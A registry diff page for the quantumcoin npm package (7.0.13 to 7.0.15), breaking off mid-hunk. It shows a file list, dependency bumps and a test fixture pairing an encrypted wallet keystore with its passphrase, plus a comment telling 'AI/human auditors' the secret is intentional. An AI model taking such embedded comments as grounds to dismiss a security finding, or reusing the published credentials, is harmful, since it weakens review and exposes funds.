quantumcoin 7.0.13 → 7.0.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README-SDK.md +2 -0
- package/examples/node_modules/.bin/esbuild +16 -0
- package/examples/node_modules/.bin/esbuild.cmd +17 -0
- package/examples/node_modules/.bin/esbuild.ps1 +28 -0
- package/examples/node_modules/.bin/sdkgen +16 -0
- package/examples/node_modules/.bin/sdkgen.cmd +17 -0
- package/examples/node_modules/.bin/sdkgen.ps1 +28 -0
- package/examples/node_modules/.bin/tsx +16 -0
- package/examples/node_modules/.bin/tsx.cmd +17 -0
- package/examples/node_modules/.bin/tsx.ps1 +28 -0
- package/examples/node_modules/.package-lock.json +144 -0
- package/examples/node_modules/@esbuild/win32-x64/README.md +3 -0
- package/examples/node_modules/@esbuild/win32-x64/esbuild.exe +0 -0
- package/examples/node_modules/@esbuild/win32-x64/package.json +20 -0
- package/examples/node_modules/esbuild/LICENSE.md +21 -0
- package/examples/node_modules/esbuild/README.md +3 -0
- package/examples/node_modules/esbuild/bin/esbuild +223 -0
- package/examples/node_modules/esbuild/install.js +289 -0
- package/examples/node_modules/esbuild/lib/main.d.ts +716 -0
- package/examples/node_modules/esbuild/lib/main.js +2532 -0
- package/examples/node_modules/esbuild/package.json +49 -0
- package/examples/node_modules/get-tsconfig/LICENSE +21 -0
- package/examples/node_modules/get-tsconfig/README.md +235 -0
- package/examples/node_modules/get-tsconfig/dist/index.cjs +7 -0
- package/examples/node_modules/get-tsconfig/dist/index.d.cts +2088 -0
- package/examples/node_modules/get-tsconfig/dist/index.d.mts +2088 -0
- package/examples/node_modules/get-tsconfig/dist/index.mjs +7 -0
- package/examples/node_modules/get-tsconfig/package.json +46 -0
- package/examples/node_modules/quantum-coin-js-sdk/LICENSE +21 -0
- package/examples/node_modules/quantum-coin-js-sdk/LICENSE-wasm_exec.js.txt +30 -0
- package/examples/node_modules/quantum-coin-js-sdk/README.md +1689 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/README.md +14 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/conversion-example.js +19 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-create-contract.js +396 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-encode-decode-rlp.js +225 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-event-pack-unpack.js +391 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-misc.js +100 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-rpc-send-signRawTransaction.js +318 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-rpc-send.js +115 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-send.js +69 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-token-pack-unpack.js +960 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-wallet-version4.js +34 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example-wallet.js +43 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/example.js +405 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/package-lock.json +56 -0
- package/examples/node_modules/quantum-coin-js-sdk/example/package.json +15 -0
- package/examples/node_modules/quantum-coin-js-sdk/index.d.ts +1047 -0
- package/examples/node_modules/quantum-coin-js-sdk/index.js +3182 -0
- package/examples/node_modules/quantum-coin-js-sdk/package.json +34 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-32.json +1 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-36.json +1 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/encrypted-48.json +1 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/generate-verify-vectors.js +91 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/get-gas-price.test.js +59 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/non-transactional.preinit.test.js +41 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/non-transactional.test.js +1389 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-raw-keytype5-context-null.test.js +107 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-raw-transaction.test.js +196 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/sign-verify.test.js +311 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/transactional.relay.test.js +131 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/transactional.rpc.test.js +103 -0
- package/examples/node_modules/quantum-coin-js-sdk/tests/verify-vectors.json +95035 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.d.ts +9 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasmBase64.js +16 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasm_exec.d.ts +0 -0
- package/examples/node_modules/quantum-coin-js-sdk/wasm_exec.js +587 -0
- package/examples/node_modules/resolve-pkg-maps/LICENSE +21 -0
- package/examples/node_modules/resolve-pkg-maps/README.md +216 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.cjs +1 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.d.cts +11 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.d.mts +11 -0
- package/examples/node_modules/resolve-pkg-maps/dist/index.mjs +1 -0
- package/examples/node_modules/resolve-pkg-maps/package.json +42 -0
- package/examples/node_modules/seed-words/.github/workflows/publish-npmjs.yaml +22 -0
- package/examples/node_modules/seed-words/BUILD.md +7 -0
- package/examples/node_modules/seed-words/LICENSE +121 -0
- package/examples/node_modules/seed-words/README.md +67 -0
- package/examples/node_modules/seed-words/dist/seedwords.d.ts +39 -0
- package/examples/node_modules/seed-words/package.json +27 -0
- package/examples/node_modules/seed-words/seedwords.js +315 -0
- package/examples/node_modules/seed-words/seedwords.txt +65536 -0
- package/examples/node_modules/seed-words/tsconfig.json +21 -0
- package/examples/node_modules/tsx/LICENSE +21 -0
- package/examples/node_modules/tsx/README.md +32 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.cjs +1 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.d.cts +35 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.d.mts +35 -0
- package/examples/node_modules/tsx/dist/cjs/api/index.mjs +1 -0
- package/examples/node_modules/tsx/dist/cjs/index.cjs +1 -0
- package/examples/node_modules/tsx/dist/cjs/index.mjs +1 -0
- package/examples/node_modules/tsx/dist/cli.cjs +54 -0
- package/examples/node_modules/tsx/dist/cli.mjs +55 -0
- package/examples/node_modules/tsx/dist/client-BQVF1NaW.mjs +1 -0
- package/examples/node_modules/tsx/dist/client-D6NvIMSC.cjs +1 -0
- package/examples/node_modules/tsx/dist/esm/api/index.cjs +1 -0
- package/examples/node_modules/tsx/dist/esm/api/index.d.cts +35 -0
- package/examples/node_modules/tsx/dist/esm/api/index.d.mts +35 -0
- package/examples/node_modules/tsx/dist/esm/api/index.mjs +1 -0
- package/examples/node_modules/tsx/dist/esm/index.cjs +2 -0
- package/examples/node_modules/tsx/dist/esm/index.mjs +2 -0
- package/examples/node_modules/tsx/dist/get-pipe-path-BHW2eJdv.mjs +1 -0
- package/examples/node_modules/tsx/dist/get-pipe-path-BoR10qr8.cjs +1 -0
- package/examples/node_modules/tsx/dist/index-7AaEi15b.mjs +14 -0
- package/examples/node_modules/tsx/dist/index-BWFBUo6r.cjs +1 -0
- package/examples/node_modules/tsx/dist/index-gbaejti9.mjs +1 -0
- package/examples/node_modules/tsx/dist/index-gckBtVBf.cjs +14 -0
- package/examples/node_modules/tsx/dist/lexer-DQCqS3nf.mjs +3 -0
- package/examples/node_modules/tsx/dist/lexer-DgIbo0BU.cjs +3 -0
- package/examples/node_modules/tsx/dist/loader.cjs +1 -0
- package/examples/node_modules/tsx/dist/loader.mjs +1 -0
- package/examples/node_modules/tsx/dist/node-features-_8ZFwP_x.mjs +1 -0
- package/examples/node_modules/tsx/dist/node-features-roYmp9jK.cjs +1 -0
- package/examples/node_modules/tsx/dist/package-CeBgXWuR.mjs +1 -0
- package/examples/node_modules/tsx/dist/package-Dxt5kIHw.cjs +1 -0
- package/examples/node_modules/tsx/dist/patch-repl.cjs +1 -0
- package/examples/node_modules/tsx/dist/patch-repl.mjs +1 -0
- package/examples/node_modules/tsx/dist/preflight.cjs +1 -0
- package/examples/node_modules/tsx/dist/preflight.mjs +1 -0
- package/examples/node_modules/tsx/dist/register-2sWVXuRQ.cjs +1 -0
- package/examples/node_modules/tsx/dist/register-B7jrtLTO.mjs +1 -0
- package/examples/node_modules/tsx/dist/register-CFH5oNdT.mjs +4 -0
- package/examples/node_modules/tsx/dist/register-D46fvsV_.cjs +4 -0
- package/examples/node_modules/tsx/dist/repl.cjs +3 -0
- package/examples/node_modules/tsx/dist/repl.mjs +3 -0
- package/examples/node_modules/tsx/dist/require-D4F1Lv60.cjs +1 -0
- package/examples/node_modules/tsx/dist/require-DQxpCAr4.mjs +1 -0
- package/examples/node_modules/tsx/dist/suppress-warnings.cjs +1 -0
- package/examples/node_modules/tsx/dist/suppress-warnings.mjs +1 -0
- package/examples/node_modules/tsx/dist/temporary-directory-B83uKxJF.cjs +1 -0
- package/examples/node_modules/tsx/dist/temporary-directory-CwHp0_NW.mjs +1 -0
- package/examples/node_modules/tsx/dist/types-Cxp8y2TL.d.ts +5 -0
- package/examples/node_modules/tsx/package.json +68 -0
- package/examples/package-lock.json +6 -6
- package/examples/package.json +1 -1
- package/generate-sdk.js +30 -9
- package/package.json +2 -2
- package/src/abi/interface.js +11 -2
- package/src/abi/js-abi-coder.js +61 -2
- package/src/contract/contract.js +53 -5
- package/src/generator/index.js +152 -13
- package/src/index.d.ts +1 -0
- package/src/providers/index.d.ts +1 -0
- package/src/providers/provider.d.ts +16 -0
- package/src/providers/provider.js +178 -5
- package/src/utils/rlp.js +13 -1
- package/src/wallet/wallet.d.ts +10 -0
- package/src/wallet/wallet.js +136 -15
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package-lock.json +6 -6
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/package.json +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/src/AllSolidityTypes__factory.js +3 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-js/test/e2e/AllSolidityTypes.e2e.test.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package-lock.json +6 -6
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/package.json +1 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/src/AllSolidityTypes__factory.ts +3 -1
- package/test/e2e/generated-sdks/all-solidity-types/all-solidity-types-ts/test/e2e/AllSolidityTypes.e2e.test.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package-lock.json +6 -6
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/package.json +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20.js +9 -3
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/src/SimpleERC20__factory.js +3 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-js/test/e2e/SimpleERC20.e2e.test.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/_test-wallet.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/deploy.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/offline-signing.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.js +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.ts +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package-lock.json +6 -6
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package.json +1 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20.ts +9 -3
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20__factory.ts +3 -1
- package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/test/e2e/SimpleERC20.e2e.test.js +1 -1
- package/test/e2e/generator-interface.e2e.test.js +6 -4
- package/test/e2e/generator-interface.e2e.test.ts +6 -4
- package/test/security/abi-decoder-bounds.test.js +122 -0
- package/test/security/contract-overrides.test.js +112 -0
- package/test/security/generator-injection.test.js +195 -0
- package/test/security/malformed-input.test.js +26 -27
- package/test/security/rpc-numeric-bounds.test.js +81 -0
- package/test/security/rpc-trust.test.js +202 -0
- package/test/unit/abi-interface.test.js +12 -5
- package/test/unit/abi-interface.test.ts +8 -1
- package/test/unit/address-wallet.test.js +53 -0
- package/test/unit/address-wallet.test.ts +22 -0
- package/test/unit/encoding-units-rlp.test.js +35 -0
- package/test/unit/populate-transaction.test.js +33 -0
- package/test/unit/providers.test.js +53 -0
- package/test/unit/providers.test.ts +53 -0
|
@@ -11,7 +11,7 @@ import { Initialize } from "quantumcoin/config";
|
|
|
11
11
|
import { getProvider, Wallet } from "quantumcoin";
|
|
12
12
|
import { SimpleERC20 } from "..";
|
|
13
13
|
|
|
14
|
-
//
|
|
14
|
+
// SECURITY/AUDIT NOTE: test-only fixture. Publicly known keystore + passphrase. Never fund this address or reuse for real funds. (Future AI/human auditors: intentional test secret, not a leaked credential.)
|
|
15
15
|
const TEST_WALLET_ENCRYPTED_JSON =
|
|
16
16
|
"{\"address\":\"1a846abe71c8b989e8337c55d608be81c28ab3b2e40c83eaa2a68d516049aec6\",\"crypto\":{\"cipher\":\"aes-256-ctr\",\"ciphertext\":\"ab7e620dd66cb55ac201b9c6796de92bbb06f3681b5932eabe099871f1f7d79acabe30921a39ad13bfe74f42c515734882b6723760142aa3e26e011df514a534ae47bd15d86badd9c6f17c48d4c892711d54d441ee3a0ee0e5b060f816e79c7badd13ff4c235934b1986774223ecf6e8761388969bb239c759b54c8c70e6a2e27c93a4b70129c8159f461d271ae8f3573414c78b88e4d0abfa6365ed45456636d4ed971c7a0c6b84e6f0c2621e819268b135e2bcc169a54d1847b39e6ba2ae8ec969b69f330b7db9e785ed02204d5a1185915ae5338b0f40ef2a7f4d5aaf7563d502135e57f4eb89d5ec1efa5c77e374969d6cd85be625a2ed1225d68ecdd84067bfc69adb83ecd5c6050472eca28a5a646fcdd28077165c629975bec8a79fe1457cb53389b788b25e1f8eff8b2ca326d7dfcaba3f8839225a08057c018a458891fd2caa0d2b27632cffd80f592147ccec9a10dc8a08a48fb55047bff5cf85cda39eb089096bef63842fc3686412f298a54a9e4b0bf4ad36907ba373cbd6d32e7ac494af371da5aa9d38a3463220865114c4adc5e4ac258ba9c6af9fa2ddfd1aec2e16887e4b3977c69561df8599ac9d411c9dd2a4d57f92ea4e5c02aae3f49fb3bc83e16673e6c2dbe96bb181c8dfd0f9757ade2e4ff27215a836058c5ffeab042f6f97c7c02339f76a6284680e01b4bb733690eb3347fbfcc26614b8bf755f9dfce3fea9d4e4d15b164983201732c2e87593a86bca6da6972e128490338f76ae68135888070f4e59e90db54d23834769bdbda9769213faf5357f9167a224523975a946367b68f0cec98658575609f58bfd329e420a921c06713326e4cb20a0df1d77f37e78a320a637a96c604ca3fa89e24beb42313751b8f09b14f9c14c77e4fd13fc6382505d27c771bca0d821ec7c3765acffa99d83c50140a56b0b28101c762bd682fe55cb6f23cbeb3f421d7b36021010e45ac27160dd7ead99c864a1b550c7edb1246950fe32dcc049799f9085287f0a747a6ef7a023df46a23a22f3e833bbf8d404f84344870492658256ee1dfc40fda33bb8d48fc72d4520ba9fc820c9123104a045206809037709f2a5f6723fa77d6bac5a573823d4ec3a7f1cb786a52ee2697e622e5d75962fa554d1024a6c355e21f33a63b2b72e6c4742a8b1c373aa532b40518c38c90b5373c2eb8c9d7be2a9e16047a3ee09dc9a6849deac5183ace6cfe91a9bef2ffc0a7df6ccebfd4c858c84b0e0355650d7466971e66f1e3883013e5ad1be33199b1d110b79070ac1b745ccb14cf63a08f8cca3a21c9525e626ff5f0c34746e10750fb742ad51f11f2acae3676c2111853d7250d01b77821a6ba9e04400ba2c543ca9f2d701ae6f47bfad14ffe3039ee9e71f7b2401359ade9938750ddb9c5a8b018a7929ed8d0e717ff1861446ce17535e9b17c187711190aae3388bd9490837a636c25ed4d42d7079ad1a51e13292c683d5d012abcf46965c534b83ab53f2c1f0cf5830ef7582e06863a33c19a70511df632885d63245965047ea96b56f1af5b3b94a54999f784fb9574fdfcd7c1230e07a2aaa04acd3097b2b9f8ddba05ae9734491deb5c1a513c76ed276cb78bbf4839dae3156d76af444a5805129d5df791167a9c8576a1d7f760b2d2797c4658669608706fbd0ace1be2346f74862dfc9ef518e55632e43c043186e5d070deb34d12fb9e5aba84e5cb50213dc88efd39cc35bf42455aa82d5e3b707b3140be3b8623b34fdd81d08615c188ae8438a13881fdf6bf32f2cb9ff5fa625561040c6b71d4b8eccc90bc3b99650d28dd1ee63773e49664e3d48c484996b290943635a6f2eb1ce9796d3fa144a3f00ef82faaa32d6a413668f7b521517cb68b2b017fcf56c79326fa5e4060e643631ca3f0a0dc0ed718798b6f46b130d437c33f64039e887324b6f5e604b1669d613923794edbf04b1b3caea54793b52b44b170173a4f25c7ecef3b71e2aad76e556b1cb9f1d637ec52ececfa950dd31dbb6a60828a3ad34c1beffe09eb4785786d63bad10a0b0f66ea88c57380f38ea85f018dbd7f538cf1ee7624095b9a01ec5edd528f281168af020609e651ff316aa1320a710134ddfca600cc72174dcdb846d2aa29916488aa1b537b66da92e61af526debef4eb38c984569eaf549ff2129449269b492d030cd74d885f6f5785881cc4804b4a8a09ba4ff7aefe9074ac7d0c4f05d51fe4cc0ff7388a772092b9d02d70e5433a5cf3e02f46a6bd6b818d59a07ce3b9fbbf8b5faba74563bcc5240930c2d406c9aaee3e3ce0429bf68ac2b0a57adb09414cff50817d2a48fb9fa624ab863cb0c31a8b8dc5eaf6fa68cc1d7c6c685c5a33edd5c8933b9e8ab628ee428d0743699b2ff17f25586c7ce959280bb0b8c5342251f0a30b53dbc7bf1ee426ac9619c3560f811f2268ee37f189794e2e4b3db3a2fb2e34b649e504fb467438abfd1082619cc4a0b30d66beb831077812e418d2e2148db10cf4d4a29101ca52ec445b8d83519dd7de85a98e0beae9ee537096d3f1a55a7a80cdfa93d25f07c9f98e8af18cde19ec1f99c5dd4588b717a5039ddb7f177717caf0d0fd45420a70dbd6d3146890d9e450d5224146db4c33b779e3c3a04b976c052bad042ac57dd38be45407808c0fb0d7e2a8819e6cd53c6739e6612996ddaa6f066552590aa0343bc1e62b298ff2514a0cef8be21956c2e942816f7a3a3a0935eaf9b37251409ce444c986c3817e82835555fe18239f3ae33469d7965c2bde9991fde556bd07af01df52bbde0c35bb4ef48e3b5d0db53f8ca4ed35b83f760f0a1bc4ed9f86e85d6039a17df373c85402ef956f01db00eb39c4b74bd0660d29ee746714d9780d738e05c6cca414ce3d7b40dda8036a9eea9ab1388805f913eb19bdd3f09d9e161eaa50231bd9caba61971f194332dd28c696a60458c1c6c2cc5da8b1192611c7c553e9e12fe48ce46bbb891be8bb118721c86222e671ddd1da8f0ccb2b68e02f2014b4925e904e88369aaf7466bd7033a60c265d45955944916ecbdb84bf1b522b01b0149c632e04c568a7eb627c5bb90ece052ebcf79166c28b30d23fe52da0a5ab5dea83ca479a3e3b7a9cfbbfea04dbe6137c19d067317c2ec427a8c75a6b06bec6dcd5d5c0edc9aa80b9003b8e17c088b2f3db327d3e42630d82d20120240c3ba56232280787da4aabbf5bc95a864029f00710e195f2a76460a0317d10b552fe1bea097e41d49756c680a41d6ac186e62169b6b6cd7776ea84618b5b752328a5bacaa10aa122ff9b2698b43efe73d852a899db644863c8c9bc8068ea86ea843fd6fe36272b91cdc5d5317083ef3fd1e5462a0b0d0604dc57b3bbfceb0fca4cd349625dd7b25166af30efe5ee6a0af953a74d65f4736c59918ee55a3b0d9d9d42e04c7f8a77e479109f740e20c464d5d7e3d16805f47b61f403ff7f408c9e850d9baacd8067e544536a4953480b0f9ee9cd45f41ebd67b51f78788a6470cb1e5ca72ca346ce8a50d0ca0c921d5576a4455a1afb6d0bc688004712ee122cacdb29c51e84893324c27fa4a3f1917edf5352272b4c97579a6152e4b77663d0ab532915f2eeb6a862de8b696452321b660c3f2449673d086e95a7af28845a5259b763e0fcd09f72acf7b6c811066263060e5aa5b24658e880a01fd56bda4dad5ab604e129290f7d5489728f2a40968c6168b21cebbbcd11727cc9e9160c4e92e04387d3b0d62aab06a61f26daedd9fed11816ef2180172a47f47184ac4032b88758c98a2e0fb200f70e93ba695f5ebb7a1029610ad360d3b7fa1b4640b9dc674d3625eef786da93dff19bc7991b5d6193a3896664763fde479b5dfc04812111a80782854f2cf68ca7d82765cc9eb40fba4b44640710ed6e653abf9f07b466333f4fd22784d53cf40e17120f42caa841eaa24056b237827b0f47f7257c103c35027e9f503e5acfd023e7357b600d3084d361d5ee65ba319b45c153212a54e6fed85af7e43e0a926ebcbc2edf8de7e2ec9528f00bec262ad04d5c9dafccaea06a24748d28bf1799bae0e895543084539c50b5aaa4fb50d7431d6f0c8cee2a54aaf7ee7919b55bf40adb688632e5dbe273cea09e97b19c3d8e1f4de000deb66fa1942ad03a62d3252f51992244366c156000b49c297167a6cbdedea7ebae139d295f0ad298e0864249b905b7eb812886ec70ecdb286702274b5b8574149bf3866f9e46b997ff5ed622b169a0eb071347f18d530db1663906a28f4544ee4e004ab87b65476af30ede118052ff052b8dc986ca2c93dd5d4943266a579c7698ea014f688b3e8063a107feb162d392e2177b01bff77fb5abe5feebd0607158049a5a093325b7c9ee6b4dfa7a9f65c7c2fb628920d3603a1c2dad979eaa047cd661a268af1078c9788d720e64e4ce9d12e68de1e417ef2f293323681e1071f9220e1ee43d2e29d111b870ce3439f5100ecd4551ab65ee74aa1667e564957e9bc0ae1ea193980da2a0ec2698073388c85bec25ef447f0d5e93a5203fa44dff268e5cb799ed3b66e63d5e07b487e7534f24934c73a62a243e0151843a0fd3807711a101eaa7fc71f0ba68aebb9534d57cba41b094eebfb4c31cca8eddfa426f676aa347be8a7023a4e91ddb154b35cd4d5f7dbc2e5db491de99f33fc2cff2d57029ac950e1ccd681980af6a4e8969dfe39b3c7bfcbcf8fac92f1e6ec9fe572bfa6a7d65860eab2ed10ac01a71290b52e3148e84b7376a8605cd2bb0e8681ffc54691ce087685e33921bd44d36c78291713dce17569570f62137e6904f0d68cf53aa2ec395c389a75141f08114fb293ea63950e4ffee55ec6fc83cf44876b8e7f25cdd393ff87b9eda6eb746085b61a6900de191f0ce2cb388d61ece52e78bc47368194e8e00277e0d1631e6b9d4626ef76f8522582ccd5a40be3febc699bb510acc6271d55ff0f4cf3bb7669855a72efd9ca3e1056a2fe592a5bc877cce2b1f63b58383971da87873d2d1349cf5881242cdce4e7e2c5c514755746a0e0a7c2a6d9701cde005ae3420beb17c379a3516662253554f51f0423bb1844b0b90c54ed8177ceb0e1036a6609d836e748ca06c40ca64befadc6443ec286a0ce464678e8d11eb455f7bb305acebf6cb1f50e394a9bfeb752df1687831bac9cdd811f4f112ef6658d0f8799a866374ff96c5e2b79f30e7a74f8a2bc9ed1f88f01f30e30cb78ffb2bff10108f35e910ee3be4463e9e6f0ed910e8d598326e71dfa2277ffe5579d7fe9b6018bfe295b25219eae07b3b0270665c3fa00c3e0d180812b5cd62925585de84a7c48a9a86dba96544a251654d1966e082432dc85b6149cf21e91a46020ec32b66d28ba3b6a90c0617bc6fdd55aea819af2bcf84864ad60c28fe3c9f8339d0aee68b39d97f63b6e082835d86119cf9b9fdc8b827c847ce40aa10e1577a710132316845e825345e95bdf94d0c66ec65a6c4319fce4792313663b5f7a651a6710783e6ab71608ac6cbbf3af6911adf596ccf7c172b9bd5bceb6db379967b32b143bdd11d2ee12ddf64ecef6391e0f8570e6cddd3db95204919362b89b739fa94e7c1bfde799fd5e22aa25ca6ca42e30c08e23aae2385d99ebab441072a880dcefdab74a4c9bd39d363f6d1933d59400fca161d432aa00f23b1b1c19a154be8989699d549b66d44e39896f5523443bc6ddf4a65e91f1f3fb7b52318869a05856a4fc92f3694c81ed833c972fb918f7e5\",\"cipherparams\":{\"iv\":\"8c46d6162cd4c765759aedcbce2a5874\"},\"kdf\":\"scrypt\",\"kdfparams\":{\"dklen\":32,\"n\":262144,\"p\":1,\"r\":8,\"salt\":\"82fb6cdc6917609135277badacf15baa31899d08b71a5a0fa33167167c161537\"},\"mac\":\"9187b17f7eca48e6b8c586b0cd790dbe0feb876ac8385f93faa7d5e22a3c8fc7\"},\"id\":\"92caf6ee-2d43-48c0-859e-ffa1e0e23312\",\"version\":3}";
|
|
17
17
|
const TEST_WALLET_PASSPHRASE = "QuantumCoinExample123!";
|
|
@@ -9,7 +9,7 @@
|
|
|
9
9
|
"version": "0.0.1",
|
|
10
10
|
"license": "MIT",
|
|
11
11
|
"dependencies": {
|
|
12
|
-
"quantum-coin-js-sdk": "1.0.
|
|
12
|
+
"quantum-coin-js-sdk": "1.0.36",
|
|
13
13
|
"quantumcoin": "file:C:\\github\\quantumcoin.js",
|
|
14
14
|
"seed-words": "^1.0.2"
|
|
15
15
|
},
|
|
@@ -19,10 +19,10 @@
|
|
|
19
19
|
},
|
|
20
20
|
"../../../../..": {
|
|
21
21
|
"name": "quantumcoin",
|
|
22
|
-
"version": "7.0.
|
|
22
|
+
"version": "7.0.14",
|
|
23
23
|
"license": "MIT",
|
|
24
24
|
"dependencies": {
|
|
25
|
-
"quantum-coin-js-sdk": "1.0.
|
|
25
|
+
"quantum-coin-js-sdk": "1.0.36",
|
|
26
26
|
"seed-words": "^1.0.2"
|
|
27
27
|
},
|
|
28
28
|
"bin": {
|
|
@@ -545,9 +545,9 @@
|
|
|
545
545
|
}
|
|
546
546
|
},
|
|
547
547
|
"node_modules/quantum-coin-js-sdk": {
|
|
548
|
-
"version": "1.0.
|
|
549
|
-
"resolved": "https://registry.npmjs.org/quantum-coin-js-sdk/-/quantum-coin-js-sdk-1.0.
|
|
550
|
-
"integrity": "sha512-
|
|
548
|
+
"version": "1.0.36",
|
|
549
|
+
"resolved": "https://registry.npmjs.org/quantum-coin-js-sdk/-/quantum-coin-js-sdk-1.0.36.tgz",
|
|
550
|
+
"integrity": "sha512-FfK+xPTrylc2rKbQzC6AXodlLWOtXerGHZ34de6d1XmvDKduO7Q2zeHrp3YDa4UgSB0Di8zzNV15LgXz7ll2Nw==",
|
|
551
551
|
"license": "MIT",
|
|
552
552
|
"dependencies": {
|
|
553
553
|
"seed-words": "1.0.2"
|
|
@@ -271,15 +271,21 @@ export class SimpleERC20 extends Contract {
|
|
|
271
271
|
this.populateTransaction = {
|
|
272
272
|
approve: async (spender: Types.AddressLike, value: Types.Uint256Like, overrides?: any): Promise<import("quantumcoin").TransactionRequest> => {
|
|
273
273
|
const data = this.interface.encodeFunctionData("approve", [spender, value]);
|
|
274
|
-
|
|
274
|
+
const safeOverrides: any = {};
|
|
275
|
+
